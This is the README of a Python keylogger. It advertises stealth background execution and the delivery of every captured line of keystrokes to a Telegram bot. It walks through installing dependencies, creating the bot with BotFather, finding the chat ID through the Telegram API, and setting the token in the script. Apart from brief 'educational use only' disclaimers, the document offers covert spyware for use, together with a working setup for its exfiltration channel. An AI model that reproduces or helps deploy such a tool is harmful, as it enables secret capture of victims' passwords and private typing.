A Python keylogger that runs silently in the background, captures keystrokes, and sends them to a Telegram bot when the Enter key is pressed. Built for educational use in ethical hacking labs and cybersecurity training.
This tool is created strictly for educational and research purposes.
Unauthorized use against other people or systems is illegal.
Use it only on your own machines or in controlled environments with permission.
- Stealth background execution (daemon)
- Sends keystrokes to Telegram only on
Enter - Handles
backspace,space, and visible characters - Real-time key delivery to your Telegram chat
- Clean and simple setup using Python
Install required Python packages:
pip install pynput requestsFollow these exact steps to create your Telegram bot and connect it with the keylogger.
-
Open the Telegram app.
-
Search for @BotFather and start a chat.
-
Send the command:
/newbot -
BotFather will ask you for:
- A name → any name you want (e.g., KeyLogger Bot)
- A username → must end in bot (e.g., loggerx_bot)
-
After successful creation, you’ll get your bot token like:
123456789:ABCdefGhIJKlmNoPQrstUvWXyz
- In Telegram, search for your newly created bot (@loggerx_bot).
- Click Start or type any message like Hello.
This is necessary so Telegram can register your chat for updates.
- Open your browser and go to:
Replace <YOUR_BOT_TOKEN> with the actual token from BotFather.
https://api.telegram.org/bot<YOUR_BOT_TOKEN>/getUpdates - In the response, find a block like:
"chat": { "id": 200535565, ... }
- Copy the number inside id → this is your CHAT_ID
Edit the following lines in your keylogger.py file:
BOT_TOKEN = 'your-telegram-bot-token'
CHAT_ID = 'your-chat-id'Hack to learn.
Never hack to harm.
Always ask permission before testing others' systems.